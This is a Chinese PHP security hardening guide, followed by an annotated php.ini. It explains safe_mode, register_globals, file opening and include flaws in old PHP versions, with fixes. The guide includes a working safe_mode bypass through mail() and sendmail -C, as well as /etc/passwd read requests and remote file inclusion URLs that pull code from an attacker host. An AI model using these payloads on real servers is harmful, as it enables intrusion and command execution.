一、Web伺服器安全
PHP其實不過是Web伺服器的一個模組功能,所以首先要確保Web伺服器的安全。當然Web伺服器要安全又必須是先確保系統安全,這樣就扯遠了,無窮無盡。 PHP可以和各種Web伺服器結合,這裡也只討論Apache。非常建議以chroot方式安裝啟動Apache,這樣即使Apache和PHP及其腳本出現漏洞,受影響的只有這個禁錮的系統,不會危害實際系統。但是使用chroot的Apache後,給應用程式也會帶來一定的麻煩,例如連接mysql時必須用127.0.0.1位址使用tcp連接而不能用localhost實現socket連接,這在效率上會稍微差一點。還有mail函數發送郵件也是個問題,因為php.ini裡的:
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from [email protected]
都是針對Win32平台,所以需要在chroot環境下調整好sendmail。
二、PHP本身問題網管u家u.bitscn@com
1、遠程溢出
PHP-4.1.2以下的所有版本都存在文件上傳遠程緩衝區溢位漏洞,而且攻擊程序已經廣泛流傳,成功率非常高.
2、遠端拒絕服務
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請求處理遠端漏洞,雖然無法取得本機使用者權限,但也能造成拒絕服務。
3.safe_mode繞過漏洞
還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數繞過safe_mode限制執行指令漏洞,4.0.5版本開始mail函數增加了第五個參數,由於設計者考慮不周可以突破safe_mode的限制執行指令。其中4.0.5版本突破非常簡單,只需用分號隔開後面加shell命令就可以了,例如存在PHP腳本evil.php:
執行如下的URL:
http: ?bar=;/usr/bin/id [email protected]
這將id執行的結果傳送給[email protected] 。
對於4.0.6至4.2.2的PHP突破safe_mode限制其實是利用了sendmail的-C參數,所以系統必須是使用sendmail。如下的程式碼能夠突破safe_mode限制執行指令:
#注意,下面這兩個必須是不存在的,
或者它們的屬主和本腳本的屬主是一樣
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $:
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>
還是使用以上有問題版本PHP的用戶一定要及時升級到最新版本,這樣才能消除基本的安全問題。
三、PHP本身的安全配置
PHP的配置非常靈活,可以透過php.ini, httpd.conf, .htaccess檔(該目錄必須設定了AllowOverride All或Options)進行設置,也可以在腳本程式中使用ini_set()及其他的特定的函數進行設定。透過phpinfo()和get_cfg_var()函數可以得到配置選項的各個值。
如果設定選項是唯一PHP_INI_SYSTEM屬性的,必須透過php.ini和httpd.conf來修改,它們修改的是PHP的Master值,但修改之後必須重新啟動apache才能生效。其中php.ini設定的選項是對Web伺服器所有腳本生效,httpd.conf裡設定的選項是對該定義的目錄下所有腳本生效。
如果還有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL屬性的選項就可以使用.htaccess檔案設置,也可以透過在腳本程式自身用ini_set()函數設定,它們修改的是Local值,改了以後馬上生效。但是.htaccess只對目前目錄的腳本程式生效,ini_set()函數只對該腳本程式設定ini_set()函數以後的程式碼生效。各個版本的選項屬性可能不盡相同,可以用以下命令查找目前原始程式碼的main.c檔案得到所有的選項,以及它的屬性:
# grep PHP_INI_ /PHP_SRC/main/main.c
在討論PHP安全配置之前,應該好好了解PHP的safe_mode模式。
1、safe_mode
safe_mode是唯一PHP_INI_SYSTEM屬性,必須透過php.ini或httpd.conf來設定。要啟用safe_mode,只需修改php.ini:
safe_mode = On
或修改httpd.conf,定義目錄:
Options FollowSymLinks
php_admin_value safe_mode 1
重啟apache後safe_mode就生效了。啟動safe_mode,會對許多PHP函數進行限制,特別是和系統相關的檔案開啟、指令執行等函數。
所有操作文件的函數將只能操作與腳本UID相同的文件,例如test.php腳本的內容為:
幾個文件的屬性如下:
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php
在瀏覽器請求test.php會提示如下的錯誤訊息:
Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1
如果被操作檔案所在目錄的UID和腳本UID一致,那麼該檔案的UID即使和腳本不同也可以存取的,不知這是否是PHP的一個漏洞還是另有隱情。所以php腳本屬主這個使用者最好就只作這個用途,絕對禁止用root做為php腳本的屬主,這樣就達不到safe_mode的效果了。
如果想將其放寬到GID比較,則開啟safe_mode_gid可以考慮只比較檔案的GID,可以設定以下選項:
safe_mode_gid = On
設定了safe_mode以後,所有指令執行的函式將被限制只能執行php.ini裡safe_mode_exec_dir指定目錄裡的程序,而且shell_exec、`ls -l`這種執行指令的方式會被禁止。如果確實需要呼叫其它程序,可以在php.ini做以下設定:
safe_mode_exec_dir = /usr/local/php/exec
然後拷貝程式到該目錄,那麼php腳本就可以用system等函數來執行該程式。而且該目錄裡的shell腳本還是可以呼叫其它目錄裡的系統指令。
safe_mode_include_dir string
當從此目錄及其子目錄(目錄必須在include_path 中或以完整路徑來包含)包含檔案時越過UID/GID 檢查。
從PHP 4.2.0 開始,本指令可以接受和include_path 指令類似的風格用分號隔開的路徑,而不只是一個目錄。
指定的限制實際上是一個前綴,而不是一個目錄名。這也就是說“safe_mode_include_dir = /dir/incl”將允許存取“/dir/include”和“/dir/incls”,如果它們存在。如果您希望將存取控制在指定的目錄,那麼請在結尾加上一個斜線,例如:「safe_mode_include_dir = /dir/incl/」。
safe_mode_allowed_env_vars string
設定某些環境變數可能是潛在的安全缺口。本指令包含一個逗號分隔的前綴清單。在安全模式下,使用者只能改變那些名字具有在這裡提供的前綴的環境變數。預設情況下,使用者只能設定以PHP_ 開頭的環境變數(例如PHP_FOO = BAR)。
註: 如果本指令為空,PHP 將使使用者可以修改任何環境變數!
safe_mode_protected_env_vars string
本指令包含一個逗號分隔的環境變數的列表,最終使用者不能用putenv() 來改變這些環境變數。甚至在safe_mode_allowed_env_vars 中設定了允許修改時也不能改變這些變數。
雖然safe_mode不是萬能的(低版本的PHP可以繞過),但還是強烈建議打開安全模式,在一定程度上能夠避免一些未知的攻擊。不過啟用safe_mode會有很多限制,可能會對應用程式帶來影響,所以還需要調整程式碼和配置才能和諧。被安全模式限製或屏蔽的函數可以參考PHP手冊。
討論完safe_mode後,以下結合程式碼實際可能出現的問題討論如何透過對PHP伺服器端的配置來避免出現的漏洞。
2.變數濫用
PHP預設register_globals = On,對於GET, POST, Cookie, Environment, Session的變數可以直接註冊成全域變數。它們的註冊順序是variables_order = "EGPCS"(可以用php.ini修改),同名變數variables_order右邊的覆寫左邊,所以變數的濫用極易造成程式的混亂。而腳本程式設計師往往沒有對變數初始化的習慣,像如下的程式片段就極易受到攻擊:
//test_1.php
if ($pass == "hello")
$auth = 1;
if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>
攻擊者只需用以下的請求就能繞過檢查:
http://victim/test_1.php?auth=1
這雖然是一個很弱智的錯誤,但一些著名的程式也有犯過這種錯誤,例如phpnuke的遠端檔案拷貝漏洞: http://www.securityfocus.com/bid/3361
PHP-4.1.0發佈的時候建議關閉register_globals,並提供了7個特殊的陣列變數來使用各種變數。對於從GET、POST、COOKIE等來的變數並不會直接註冊成變量,必需透過數組變數來存取。 PHP-4.2.0發佈的時候,php.ini預設配置就是register_globals = Off。這使得程式使用PHP自身初始化的預設值,一般為0,避免了攻擊者控制判斷變數。
解決方法:
設定檔php.ini設定register_globals = Off。
要求程式設計師對作為判斷的變數在程式最開始初始化一個值。
3.檔案開啟
極易受攻擊的程式碼片段:
//test_2.php
if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename
n");
exit;
}
else {
echo $str;
}
?>
由於攻擊者可以指定任意的$filename,攻擊者用如下的請求就可以看到/etc/passwd:http://victim/test_2.php?filename=/etc/passwd
請求可以讀取php檔案本身:
http://victim/test_2.php?filename=test_2.php
PHP中檔案開啟函數還有fopen(), file()等,如果對檔案名稱變數檢查不嚴就會造成伺服器重要檔案被存取讀取。
解決方法:
如非特殊需要,把php的檔案操作限制在web目錄裡面。以下是修改apache設定檔httpd.conf的範例:
php_admin_value open_basedir /usr/local/apache/htdocs
重新啟動apache後,/usr/local/apache/htdocs目錄下的PHP腳本就只能操作它自己目錄下的檔案了,否則PHP就會報錯:
Warning: open_basedir restriction in effect.
File is in wrong directory in xxx on line xx.
使用safe_mode模式也能避免這種問題,前面已經討論過了。
4.包含檔案
極易受攻擊的程式碼片段:
//test_3.php
if(file_exists($filename))
include("$filename");
?>
這個不負責任的程式碼會造成相當大的危害,攻擊者用以下請求可以得到/etc/passwd檔案:
http://victim/test_3.php?filename=/etc/passwd
如果對於Unix版的PHP( Win版的PHP不支援遠端開啟檔案)攻擊者可以在自己開了http或ftp服務的機器上建立一個包含shell命令的文件,如http://attack/attack.txt的內容是,那麼如下的請求就可以在目標主機執行指令ls /etc:http://victim/test_3.php?filename=http://attack/attack.txt
者甚至可以透過包含apache的日誌檔案access.log和error.log來得到執行指令的程式碼,不過由於幹擾訊息太多,有時不易成功。
對於另外一種形式,如下程式碼片段:
//test_4.php
include("$lib/config.php");
?>
攻擊者可以在自己的主機建立一個包含執行命令程式碼的config.php文件,然後用以下請求也可以在目標主機執行命令:
http://victim/test_4.php?lib=http://attack
PHP的包含函數有include(), include_once(), require(), require_once。如果對包含檔名變數檢查不嚴就會對系統造成嚴重危險,可以遠端執行指令。
解決方法:
要求程式設計師包含文件裡的參數盡量不要使用變量,如果使用變量,就一定要嚴格檢查要包含的檔名,絕對不能由使用者任意指定。
如前面文件開啟中限制PHP操作路徑是必要的選項。另外,如非特殊需要,一定要關閉PHP的遠端檔案開啟功能。修改php.ini檔:
allow_url_fopen = Off
重啟apache
[PHP]
; PHP還是一個不斷發展的工具,其功能還在不斷地刪減
; 而php.ini的設定變更可以反映出相當的變化,
; 在使用新的PHP版本前,研究一下php.ini會有好處的
;;;;;;;;;;;;;;;;;;;
; 關於這個文件;
;;;;;;;;;;;;;;;;;;;
; 這個文件控制了PHP許多方面的觀點.為了讓PHP讀取這個文件,它必須被命名為
; 'php.ini'.PHP 將在這些地方依序尋找該檔案:目前工作目錄;環境變數PHPRC
; 指明的路徑;編譯時指定的路徑.
; 在windows下,編譯時的路徑是Windows安裝目錄.
; 在命令列模式下,php.ini的查找路徑可以用-c 參數替代.
; 該文件的語法非常簡單.空白字符和用分號';'開始的行被簡單地忽略(就像你可能
; 猜到的一樣). 章節標題(例如: [Foo])也被簡單地忽略,即使將來它們可能
; 有某種的意義.
;
; 指示被指定使用下列語法:
; 指示標識符= 值
; directive = value
; 指示標識符是*大小寫敏感的* - foo=bar 不同於FOO = bar.
;
; 值可以是字串,一個數字,一個PHP 常數(如: E_ALL or M_PI), INI 常數中的
; 一個(On, Off, True, False, Yes, No and None) ,或是一個表達式
; (如: E_ALL & ~E_NOTICE), 或是用引號括起來的字串("foo").
;
; INI 檔案的表達式被限制於位元運算子和括號.
; | bitwise OR
; & bitwise AND
; ~ bitwise NOT
; ! boolean NOT
;
; 布林標誌可用1, On, True or Yes 這些值置於開的狀態.
; 它們可用0, Off, False or No 這些值置於關的狀態.
;
; 一個空字串可以用在等號後不寫任何東西表示,或用None 關鍵字:
;
; foo = ; 將foo置為空字串
; foo = none ; 將foo置為空字串
; foo = "none" ; 將foo置為字串'none'
;
; 如果你值設定中使用常數,而這些常數就屬於動態調入的擴展庫(不是PHP 的擴展,就是
; Zend 的擴充),你只可以調入這些擴充的行*之後*使用這些常數.
;
; 所有在php.ini-dist 檔案裡設定的值與內建的預設值相同(這是說,如果php.ini
; 沒被使用或你刪掉了這些行,預設值與之相同).
;;;;;;;;;;;;;;;;;;;;
; 語言選項;
;;;;;;;;;;;;;;;;;;;;
engine = On
; 使PHP scripting language engine(PHP 腳本語言引擎)在Apache下有效.
short_open_tag = On
; 允許<? 標識(這種簡單表示). 僅有<?php and <script> tags 將被識別.
asp_tags = Off
; 允許ASP-style <% %> tags
precision = 14
; 浮點類型數顯示時的有效位數
y2k_compliance = Off
; 是否打開2000年適應(可能在非Y2K適應的瀏覽器中導致問題)
output_buffering = Off
; 輸出快取允許你甚至在輸出正文內容之後發送header(標頭,包括cookies)行
; 其代價是輸出層減慢一點點速度.你可以使用輸出緩存在運行時打開輸出緩存,
; 或在這裡將指示設為On 而使得所有檔案的輸出快取開啟.
output_handler = ; 你可以重定向你的腳本的所有輸出到一個函數,
; 那樣做可能對處理或以日誌記錄它有用.
; 例如若你將這個output_handler 設為"ob_gzhandler",
; 則輸出會被透明地為支援gzip或deflate編碼的瀏覽器壓縮.
; 設一個輸出處理器自動地開啟輸出緩衝.
implicit_flush = Off
; 強制flush(刷新)讓PHP 告訴輸出層在每個輸出區塊之後自動刷新自身資料.
; 這等效於在每個print() 或echo() 呼叫和每個HTML 區塊後呼叫flush()函數.
; 開啟此設定會導致嚴重的運行時衝突,建議僅在debug過程中開啟.
allow_call_time_pass_reference = On
; 是否讓強迫函數呼叫時按引用傳遞參數.此方法遭到抗議,
; 並可能在未來版本的PHP/Zend裡不再支援.
; 受到鼓勵的指定哪些參數按引用傳遞的方法是在函數宣告裡.
; 你被鼓勵嘗試關閉這一選項並確認你的腳本仍能正常工作,以保證在將來版本的語言裡
; 它們仍能運作.(你將在每次使用該特點時得到一個警告,而參數將按值而不是按引用
; 傳遞).
; Safe Mode 安全模式
safe_mode = Off
safe_mode_exec_dir =
safe_mode_allowed_env_vars = PHP_
; ? Setting certain environment variables
; ? may be a potential security breach.
; 此指示包含以逗號分隔的前綴清單.安全模式中,使用者僅可以替換
; 以在此列出的前綴開頭的環境變數的值.
; 預設地,使用者將只能設定以PHP_開頭的環境變量,(如: PHP_FOO=BAR).
; 注意: 如果此指示為空,PHP 將讓使用者更改任意環境變數!
safe_mode_protected_env_vars = LD_LIBRARY_PATH
; 這條指示包含一個用逗號分隔的環境變數列表,那是最終使用者將不能用putenv () 更改的.
; 這些變數甚至在safe_mode_allowed_env_vars 設定為允許的情況下得到保護.
disable_functions =
; 這條指示讓你可以為了安全的原因讓特定函數失效.
; 它接受一個用逗號分隔的函數名稱列表.
; 這條指示*不受* 安全模式是否開啟的影響.
; 語法高亮模式的色彩.
; 只要能被<font color=???>接受的東西就能工作.
highlight.string = #DD0000
highlight.comment = #FF8000
highlight.keyword = #007700
highlight.bg = #FFFFFF
highlight.default = #0000BB
highlight.html = #000000
; Misc 雜項
expose_php = Off
; 決定PHP 是否標示它裝在伺服器上的事實(例如:加在它—PHP—給Web服務
; 發送的訊號上).
; (我個人的意見,在出現什麼power-by的header的時候,把這關掉.)
; 它不會有安全上的威脅, 但它使檢查你的伺服器上是否安裝了PHP成為了可能.
;;;;;;;;;;;;;;;;;;;
; Resource Limits ;
;;;;;;;;;;;;;;;;;;;
max_execution_time = 30 ; 每個腳本的最大執行時間, 按秒計
memory_limit = 8388608 ; 一個腳本最大可使用的記憶體總量(這裡是8MB)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Error handling and logging ;
; 出錯控制與登記;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; 錯誤報告是按位的.或將數字加起來得到想要的錯誤報告等級.
; E_ALL - 所有的錯誤和警告
; E_ERROR - 致命性運行時錯
; E_WARNING - 運行時警告(非致命性錯)
; E_PARSE - 編譯時解析錯誤
; E_NOTICE - 運行時提醒(這些經常是你的程式碼的bug引起的,
;也可能是由有意的行為造成的.(如:基於未初始化的變數自動初始化為一個
;空字串的事實而使用一個未初始化的變數)
; E_CORE_ERROR - 發生於PHP啟動時初始化過程中的致命錯誤
; E_CORE_WARNING - 發生於PHP啟動時初始化過程中的警告(非致命性錯)
; E_COMPILE_ERROR - 編譯時致命性錯
; E_COMPILE_WARNING - 編譯時警告(非致命性錯)
; E_USER_ERROR - 使用者產生的出錯訊息
; E_USER_WARNING - 使用者產生的警告訊息
; E_USER_NOTICE - 使用者產生的提醒訊息
; 例子:
; error_reporting = E_ALL & ~E_NOTICE ; 顯示所有的錯誤,除了提醒
; error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR ; 僅顯示錯誤
error_reporting = E_ALL & ~E_NOTICE ; 顯示所有的錯誤,除了提醒
display_errors = On ; 顯示出錯誤訊息(作為輸出的一部份)
; 在最終發布的web站點上,強烈建議你關掉這個特性,並使用
; 錯誤日誌代替(參考下面).
; 在最終發布的web站點繼續讓display_errors 有效可能
; 暴露一些有關安全的信息,例如你的web服務上的文件路徑、
; 你的資料庫規劃或別的資訊.
display_startup_errors = Off ; 甚至當display_erroes打開了,發生於PHP的啟動的步驟中
; 的錯誤也不會被顯示.
; 強烈建議保持使display_startup_errors 關閉,
; 除了在改錯過程中.
log_errors = Off ; 在日誌檔案裡記錄錯誤(伺服器指定的日誌,stderr標準錯誤輸出,或error_log(下面的))
; 正如上面說明的那樣,強烈建議你在最終發布的web站點以日誌記錄錯誤
; 取代直接錯誤輸出.
track_errors = Off ; 保存最近一個錯誤/警告訊息於變數$php_errormsg (boolean)
;error_prepend_string = "<font color=ff0000>" ; 於錯誤訊息前輸出的字串
;error_append_string = "</font>" ; 於錯誤訊息後輸出的字串
;error_log = filename ; 記錄錯誤日誌於指定文件
;error_log = syslog ; 記錄錯誤日誌於系統日誌syslog (NT 下的事件日誌, Windows 95下無效)
warn_plus_overloading = Off ; 當'+'用於字串時警告
;;;;;;;;;;;;;;;;;
; Data Handling ;
;;;;;;;;;;;;;;;;; variables_order = "EGPCS" ; 這條指示描述了PHP 記錄
; GET, POST, Cookie, Environment and Built-in 這些變數的順序.
; (以G, P, C, E & S 代表,通常以EGPCS 或GPC 的方式引用).
; 按從左到右記錄,新值取代舊值.
register_globals = On ; 是否將這些EGPCS 變數註冊為全域變數.
; 如果你不想讓使用者資料不在全域範圍內混亂的話,你可能要關閉它.
; 這和track_vars 連起來用更有意義— 這樣你可以透過
; $HTTP_*_VARS[] 陣列存取所有的GPC變數.
register_argc_argv = On ; 這條指示告訴PHP 是否宣告argv和argc 變數
; (註:這裡argv為數組,argc為變數數)
; (其中包含用GET方法傳來的資料).
; 若你不想用這些變量,你應該關掉它以提高性能.
track_vars = On ; 使$HTTP_*_VARS[]數組有效,這裡*在使用時用
; ENV, POST, GET, COOKIE or SERVER替換
post_max_size = 8M ; PHP會接受的POST資料最大大小.
gpc_order = "GPC" ; 這條指示被人反對.用variables_order 代替.
; Magic quotes
magic_quotes_gpc = On ; 在輸入的GET/POST/Cookie資料裡使用魔術引用
; (原文就這樣,呵呵,所謂magic quotes 應該是指用轉義符加在引用性的控製字元上,如'....)
magic_quotes_runtime= Off ; 對執行時期產生的資料使用魔術引用,
; 例如:用SQL查詢得到的數據,用exec()函數得到的數據,等等
magic_quotes_sybase = Off ; 採用Sybase形式的魔術引用(用'' 脫掉' 而不用')
; 自動在PHP 文件之前和之後添加文件
auto_prepend_file =
auto_append_file =
; 象4.04b4一樣,PHP 預設總是在「Content-type:」 頭標輸出一個字元的編碼方式.
; 讓輸出字元集失效,只要設定為空.
; PHP 的內建預設值是text/html
default_mimetype = "text/html"
;default_charset = "iso-8859-1"
;;;;;;;;;;;;;;;;;;;;;;;;;
; Paths and Directories ;
;;;;;;;;;;;;;;;;;;;;;;;;;
include_path = ; include 路徑設置,UNIX: "/path1:/path2" Windows: "path1;path2"
doc_root = ; php 頁面的根路徑,僅在非空時有效
user_dir = ; 告知php 在使用/~username 開啟腳本時到哪個目錄下去找,僅在非空時有效
;upload_tmp_dir = ; 存放用HTTP協定上載的檔案的暫存目錄(沒指定時使用系統預設的)
upload_max_filesize = 2097152 ; 檔案上載預設限制為2 Meg
extension_dir = c:php ; 存放可載入的擴充庫(模組)的目錄
enable_dl = On ; 是否使dl()有效.
; 在多執行緒的伺服器上dl()函數*不能*很好地工作,
; 例如IIS or Zeus,並在其上預設為禁止
;;;;;;;;;;;;;;;;
; File Uploads ;
;;;;;;;;;;;;;;;;
file_uploads = On ; 是否允許HTTP方式檔案上載
;upload_tmp_dir = ; 用於HTTP上載的檔案的暫存目錄(未指定則使用系統預設)
upload_max_filesize = 2M ; 上載檔案的最大許可大小
; Fopen wrappers ;
;;;;;;;;;;;;;;;;;;
allow_url_fopen = On ; 是否允許把URLs當作http:.. 或把檔案當作ftp:...
;;;;;;;;;;;;;;;;;;;;;;;
; 動態擴充;
; Dynamic Extensions ;
;;;;;;;;;;;;;;;;;;;;;;;
; 若你希望一個擴充庫自動加載,用下面的語法:
; extension=modulename.extension
; 例如,在windows上,
; extension=msql.dll
; or 在UNIX下,
; extension=msql.so
; 注意,這只應當是模組的名字,不需要目錄資訊放在裡面.
; 用上面的extension_dir 指示指定擴充函式庫的位置.
;Windows 擴充
;extension=php_nsmail.dll
extension=php_calendar.dll
;extension=php_dbase.dll
;extension=php_filepro.dll
extension=php_gd.dll
;extension=php_dbm.dll
;extension=php_mssql.dll
;extension=php_zlib.dll
;extension=php_filepro.dll
;extension=php_imap4r2.dll
;extension=php_ldap.dll
;extension=php_crypt.dll
;extension=php_msql2.dll
;extension=php_odbc.dll
; 注意, MySQL的支援現在是內建的,因此,不需要用它的dll
;;;;;;;;;;;;;;;;;;
; 模組設定;
; Module Settings ;
;;;;;;;;;;;;;;;;;;;
[Syslog]
define_syslog_variables = Off ; 是否定義各種的系統日誌變數
; 如:$LOG_PID, $LOG_CRON, 等等.
; 關掉它是個提高效率的好主意.
; 執行時,你可以呼叫函數define_syslog_variables(),來定義這些變數
[mail function]
SMTP = localhost ;僅用於win32系統
sendmail_from [email protected] ;僅用於win32系統
;sendmail_path = ;僅用於unix, 也可支援參數(預設的是'sendmail -t -i')
[Debugger]
debugger.host = localhost
debugger.port = 7869
debugger.enabled = False
[Logging]
; 這些組態指示用於範例的日誌記錄機制.
; 看examples/README.logging 以獲得更多的解釋
;logging.method = db
;logging.directory = /path/to/log/directory
[Java]
;java.class.path = .php_java.jar
;java.home = c:jdk
;java.library = c:jdkjrebinhotspotjvm.dll
;java.library.path = .
[SQL]
sql.safe_mode = Off
[ODBC]
;uodbc.default_db = Not yet implemented
;uodbc.default_user = Not yet implemented
;uodbc.default_pw = Not yet implemented
uodbc.allow_persistent = On ; 允許或禁止持久連接
uodbc.check_persistent = On ; 在重複使用前檢查連接是否還可用
uodbc.max_persistent = -1 ; 持久連接的最大數.-1 代表無限制
uodbc.max_links = -1 ; 連接的最大數目(持久和非持久).-1 代表無限網管u家u.bitsCN.com
uodbc.defaultlrl = 4096 ; 控制LONG 類型的欄位.傳回變數的位元組數,0 代表透過(?)0 means passthru
uodbc.defaultbinmode = 1 ; 控制二進位資料.0 代表?????Handling of binary data. 0 means passthru, 1 return as is, 2 convert to char
; 見有關odbc_binmode 和odbc_longreadlen 的文檔以獲得uodbc.defaultlrl 和uodbc.defaultbinmode 的解釋.
[MySQL]
mysql.allow_persistent = On ; 允許或禁止持久連接
mysql.max_persistent = -1 ; 持久連線的最大數.-1 代表無限制
mysql.max_links = -1 ; 連線的最大數目(持久和非持久).-1 代表無限制
mysql.default_port = ; mysql_connect() 使用的預設端口,如不設置,mysql_connect()
; 將使用變數$MYSQL_TCP_PORT,或在/etc/services 下的mysql-tcp 條目(unix),
; 或在編譯是定義的MYSQL_PORT(按這樣的順序)
; Win32環境,將只檢查MYSQL_PORT.
mysql.default_socket = ; 用於本地MySql 連線的預設的套接字名稱.為空,使用MYSQL 內建值
mysql.default_host = ; mysql_connect() 預設使用的主機(安全模式下無效)
mysql.default_user = ; mysql_connect () 預設使用的使用者名稱(安全模式下無效)
mysql.default_password = ; mysql_connect() 預設使用的密碼(安全模式下無效)
; 注意,在這個檔案下保存密碼通常是一個*壞*主意
; *任何*可以使用PHP存取的使用者可以運行
; 'echo cfg_get_var("mysql.default_password")'來顯示那個密碼!
; 而且當然地,任何有讀該檔案權力的使用者也能看到那個密碼.
[mSQL]
msql.allow_persistent = On ; 允許或禁止持久連接
msql.max_persistent = -1 ; 持久連線的最大數.-1 代表無限制
msql.max_links = -1 ; 連線的最大數目(持久和非持久).-1 代表無限
[PostgresSQL]
pgsql.allow_persistent = On ; 允許或禁止持久連接
pgsql.max_persistent = -1 ; 持久連接的最大數.-1 代表無限制
pgsql.max_links = -1 ; 連接的最大數目(持久和非持久).-1 代表無限制
[Sybase]
sybase.allow_persistent = On ; 允許或禁止持久連接
sybase.max_persistent = -1 ; 持久連接的最大數.-1 代表無限制
sybase.max_links = -1 ; 連線的最大數目(持久和非持久).-1 代表無限制
;sybase.interface_file = "/usr/sybase/interfaces"
sybase.min_error_severity = 10 ; 顯示的錯誤的最低嚴重性
sybase.min_message_severity = 10 ; 顯示的訊息的最低重要性
sybase.compatability_mode = Off ; 與舊版的PHP 3.0 相容的模式.若打開,這將導致PHP 自動地
; 把根據結果的Sybase 類型賦予它們,
; 而不是把它們全當成字串.
; 這個相容模式不會永遠留著,
; 因此,將你的程式碼進行需要的修改,
; 並將該項關閉.
[Sybase-CT]
sybct.allow_persistent = On ; 允許或禁止持久連接
sybct.max_persistent = -1 ; 持久連接的最大數.-1 代表無限制
sybct.max_links = -1 ; 連接的最大數目(持久和非持久).-1 代表無限制
sybct.min_server_severity = 10 ; 顯示的錯誤的最低嚴重性
sybct.min_client_severity = 10 ; 顯示的訊息的最低重要性
[bcmath]
bcmath.scale = 0 ; 用所有bcmath函數的10十進位數數字的個數number of decimal digits for all bcmath functions
[browscap]
;browscap = extra/browscap.ini
browscap = C:WINSYSTEMinetsrvbrowscap.ini
[Informix]
ifx.default_host = ; ifx_connect() 預設使用的主機(安全模式下無效)
ifx.default_user = ; ifx_connect() 預設使用的使用者名稱(安全模式下無效)
ifx.default_password = ; ifx_connect() 預設使用的密碼(安全模式下無效)
ifx.allow_persistent = On ; 允許或禁止持久連接
ifx.max_persistent = -1 ; 持久連結的最大數.-1 代表無限制
ifx.max_links = -1 ; 連接的最大數目(持久和非持久).-1 代表無限制
ifx.textasvarchar = 0 ; 若打開,select 狀態符傳回一個'text blob'欄位的內容,而不是它的id
ifx.byteasvarchar = 0 ; 若打開,select 狀態符傳回一個'byte blob'欄位的內容,而不是它的id
ifx.charasvarchar = 0 ; 追蹤從固定長度的字元列裡剝離的空格.
; 可能對Informix SE 使用者有效.
ifx.blobinfile = 0 ; 若打開,text和byte blobs 的內容被匯出到一個文件
; 而不是儲存到記憶體.
ifx.nullformat = 0 ; NULL(空)被當作空白欄位傳回,除非,這裡被設為1.
; 這種情況下(為1),NULL作為字符串NULL回傳.
[Session]
session.save_handler = files ; 用來儲存/取回資料的控制方式
session.save_path = C:wintemp ; 在save_handler 設為檔案時傳給控制器的參數,
; 這是資料檔案將要儲存的路徑.
session.use_cookies = 1 ; 是否使用cookies
session.name = PHPSESSID
; 用在cookie裡的session的名字
session.auto_start = 0 ; 在請求啟動時初始化session
session.cookie_lifetime = 0 ; 為按秒記的cookie的保存時間,
; 或為0時,直到瀏覽器被重啟
session.cookie_path = / ; cookie的有效路徑
session.cookie_domain = ; cookie的有效域
session.serialize_handler = php ; 用於連接資料的控制器
; php是PHP 的標準控制器.
session.gc_probability = 1 ; 以百分比的'garbage collection(碎片整理)'進程
; 在每次session 初始化的時候開始的可能性. 網管bitscn_com
session.gc_maxlifetime = 1440 ; 在這裡數字所指的秒數後,保存的資料將被視為
; '碎片(garbage)'並由gc 進程清理掉.
session.referer_check = ; 檢查HTTP引用以使額外包含於URLs中的ids無效
session.entropy_length = 0 ; 從檔案讀取多少位元組
session.entropy_file = ; 指定這裡建立session id
; session.entropy_length = 16
; session.entropy_file = /dev/urandom
session.cache_limiter = nocache ; 設為{nocache,private,public},以決定HTTP 的
; 快取問題
session.cache_expire = 180 ; 文件在n 分鐘後過時
session.use_trans_sid = 1 ; 使用過渡性的sid 支持,若編譯時許可了
; --enable-trans-sid
url_rewriter.tags = "a=href,area=href,frame=src,input=src,form=fakeentry"
[MSSQL]
;extension=php_mssql.dll
mssql.allow_persistent = On ; 允許或禁止持久連接
mssql.max_persistent = -1 ; 持久連線的最大數.-1 代表無限制
mssql.max_links = -1 ; 連接的最大數目(持久和非持久).-1 代表無限網管u家u.bitsCN.com
mssql.min_error_severity = 10 ; 顯示的錯誤的最低嚴重性
mssql.min_message_severity = 10 ; 顯示的訊息的最低重要性
mssql.compatability_mode = Off ; 與舊版的PHP 3.0 相容的模式.
[Assertion]
; ? ? ? ? ?
;assert.active = On ; ? assert(expr); active by default
;assert.warning = On ; issue a PHP warning for each failed assertion.
;assert.bail = Off ; don't bail out by default.
;assert.callback = 0 ; user-function to be called if an assertion fails.
;assert.quiet_eval = 0 ; eval the expression with current error_reporting(). set to true if you want error_reporting(0) around the eval().
[Ingres II]
ii.allow_persistent = On ; 允許或禁止持久連接
ii.max_persistent = -1 ; 持久連接的最大數.-1 代表無限制
ii.max_links = -1 ; 連接的最大數目(持久和非持久).-1 代表無限制
ii.default_database = ; 預設database (format : [node_id::]dbname[/srv_class]
ii.default_user = ; 預設user
ii.default_password = ; 預設password 網管下載dl.bitscn.com
[Verisign Payflow Pro]
pfpro.defaulthost = "test.signio.com" ; 預設的Signio 伺服器
pfpro.defaultport = 443 ; 連接的預設端口
pfpro.defaulttimeout = 30 ; 按秒計的預設逾時時間
; pfpro.proxyaddress = ; 預設的代理程式的IP 位址(如果需要)
; pfpro.proxyport = ; 預設的代理的端口
; pfpro.proxylogon = ; 預設的代理程式的登入(logon 使用者名稱)
; pfpro.proxypassword = ; 預設的代理程式的密碼
[Sockets]
sockets.use_system_read = On ; 使用系統的read() 函數取代php_read()封裝
; Local Variables: (局部變數)
; tab-width: 4
; End: